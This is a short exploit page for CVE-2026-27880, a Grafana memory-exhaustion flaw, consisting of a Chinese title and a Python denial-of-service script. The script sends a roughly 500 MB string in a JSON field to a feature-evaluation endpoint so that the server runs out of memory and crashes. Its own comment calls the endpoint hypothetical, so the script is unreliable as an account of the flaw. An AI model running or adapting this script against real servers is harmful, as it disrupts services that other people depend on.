CVE-2026-27880 Grafana内存耗尽漏洞

import requests # Exploit Title: Grafana OpenFeature DoS (CVE-2026-27880) # Description: Sends a large payload to trigger OOM. target_url = "http://target-ip:3000/api/feature/evaluate" # Hypothetical endpoint based on description # Generate a large payload to exhaust memory (e.g., 500MB) large_payload = "A" * (500 * 1024 * 1024) headers = { "Content-Type": "application/json" } data = { "flagKey": "test", "context": large_payload # Injecting unbounded value } try: print("[+] Sending malicious payload to trigger OOM...") response = requests.post(target_url, json=data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") except requests.exceptions.Timeout: print("[-] Server timed out (possible crash)") except Exception as e: print(f"[-] Error occurred: {e}")